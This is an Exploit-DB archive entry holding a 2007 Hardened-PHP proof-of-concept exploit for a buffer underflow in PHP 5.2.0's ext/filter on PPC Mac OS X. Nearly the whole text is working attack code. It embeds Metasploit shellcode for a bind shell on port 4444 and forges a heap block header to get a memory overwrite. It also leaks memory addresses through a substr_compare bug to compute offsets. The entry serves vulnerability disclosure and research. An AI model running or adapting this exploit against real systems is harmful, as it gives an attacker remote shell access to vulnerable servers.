PHP 5.2.0 (OSX) - EXT/Filter Space Trimming Buffer Underflow

EDB-ID:

3460


Platform:

OSX

Published:

2007-03-12

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //    PHP ext/filter Space Trimming Buffer Underflow Vulnerability    //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // PPC MacOSX Portshell on 4444 from Metasploit
  //     (16 bytes added to make it compatible with unlink exploit)
  $shellcode = "\x48\x00\x00\x10\x60\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00".
      "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa".
      "\x38\xa5\xf8\x4a\x3c\xc0\x28\x43\x60\xc6\x84\x76\x38\x85\x07\xee".
      "\x7c\x89\x03\xa6\x80\x9f\xf8\x4a\x7c\x84\x32\x78\x90\x9f\xf8\x4a".
      "\x7c\x05\xf8\xac\x7c\xff\x04\xac\x7c\x05\xff\xac\x3b\xc5\x07\xba".
      "\x7f\xff\xf2\x15\x42\x20\xff\xe0\x4c\xff\x01\x2c\x10\x23\x84\x74".
      "\x10\xc3\x84\x77\x10\xe3\x84\x70\x10\x43\x84\x17\x6c\x43\x84\x74".
      "\x54\x43\x86\x0e\x54\x3d\x9f\x0e\x60\x43\x84\x7b\x28\x41\x95\x2a".
      "\x28\x43\x84\x76\x54\xcb\x86\xd0\x10\xe3\x84\x66\x10\x43\x84\x1e".
      "\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\x43\x84\x1c".
      "\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\x80\x77\x0e".
      "\x10\x43\x84\x68\x10\xc3\x84\x66\xb8\xc2\x7b\x9e\x10\xe2\x7b\x9e".
      "\x10\xc2\x7b\x86\x6c\x43\x84\x74\x54\x43\x86\x0e\x54\x3d\x9f\x0e".
      "\x10\xe3\x84\x74\x10\x43\x84\x2c\x57\x80\x77\x0e\x54\xe7\xaf\x0e".
      "\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\xe6\x7b\x89\x04\x46\x7b\x89".
      "\x68\xc1\x7b\x93\x10\x43\x84\x34\x6c\x43\x84\x74\x54\x43\x86\x0e".
      "\x54\xe6\xae\x0f\x68\xc1\x7b\x8b\x54\x2b\x86\xd0\x10\x20\x84\x5e".
      "\xb8\x22\x7b\x8e\xb8\xe2\x7b\x8a\x10\xc2\x7b\x8e\x10\x43\x84\x4d".
      "\x54\x43\x80\xda\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\xa3\x84\x7e".
      "\x07\x21\xed\x18\x07\x20\xf7\x1e\x28\x43\x84\x76";

  // Offsets used for the overwrite (will be overwritten by findOffsets()
  $offset_1 = 0x55555555;
  $offset_2 = 0x66666666;

  findOffsets(); // Comment out if you want to just test the crash

  printf("Using offsets %08x and %08x\n", $offset_1, $offset_2);

  // Convert offsets into strings
  $addr1 = pack("L", $offset_1);
  $addr2 = pack("L", $offset_2);
  
  // Memory Alignment stuff
  $v1 = 1;
  $v2 = 2;

  // Block that will contain the fake memory block
  $v1 = str_repeat("B", 0x110-0x14);
  
  // Prepare fake memory header
  $v1[0] = chr(0);
  $v1[1] = chr(0);
  $v1[2] = chr(0);
  $v1[3] = chr(4);

  $v1[8] = $addr1[0];
  $v1[9] = $addr1[1];
  $v1[10] = $addr1[2];
  $v1[11] = $addr1[3];

  $v1[12] = $addr2[0];
  $v1[13] = $addr2[1];
  $v1[14] = $addr2[2];
  $v1[15] = $addr2[3];

  // Heap alignment
  $v2 = str_repeat("A", 400);
  $v2 = str_repeat(" ", 400);

  // Trigger overflow
  filter_var($v2, FILTER_VALIDATE_INT);
  unset($v2);












  // This function uses the substr_compare() vulnerability
  // to get the offsets. In a remote exploit such offsets
  // would get bruteforced
  
  function findOffsets()
  {
    global $offset_1, $offset_2, $shellcode;
    // We need to NOT clear these variables,
    //  otherwise the heap is too segmented
    global $memdump, $d, $arr;
    
    $sizeofHashtable = 39;
    $maxlong = 0x7fffffff;

    // Signature of a big endian Hashtable of size 256 with 1 element
    $search = "\x00\x00\x01\x00\x00\x00\x00\xff\x00\x00\x00\x01";

    $memdump = str_repeat("A", 16000);
    for ($i=0; $i<400; $i++) {
	  $d[$i]=array();
    }
    unset($d[350]);
    $x = str_repeat("\x01", $sizeofHashtable);
    unset($d[351]);
    unset($d[352]);
    $arr = array();
    for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
    $arr[$shellcode] = 1;
    for ($i=0; $i<129; $i++) { unset($arr[$i]); }

    // If the libc memcmp leaks the information use it
    // otherwise we only get a case insensitive memdump
    $b = substr_compare(chr(65),chr(0),0,1,false) != 65;

    for ($i=0; $i<16000; $i++) {
      $y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
      $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
      if ($y-$Y == 1 || $Y-$y==1){
        $y = chr($y);
        if ($b && strtoupper($y)!=$y) {
          if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
            $y = strtoupper($y);
          }
        }
        $memdump[$i] = $y;
      } else {
  	    $y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
        $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
        if ($y-$Y != 1 && $Y-$y!=1){
	      $memdump[$i] = chr(1);
        } else {
          $memdump[$i] = chr(0);
        }   
      }
    }
    
    // Search shellcode and hashtable and calculate memory address
    $pos_shellcode = strpos($memdump, $shellcode);
    $pos_hashtable = strpos($memdump, $search);
    $addr = substr($memdump, $pos_hashtable+6*4, 4);
    $addr = unpack("L", $addr);

    // Fill in both offsets  
    $offset_1 = $addr[1] + 32;
    $offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4 - 8;
  }

?>

# milw0rm.com [2007-03-12]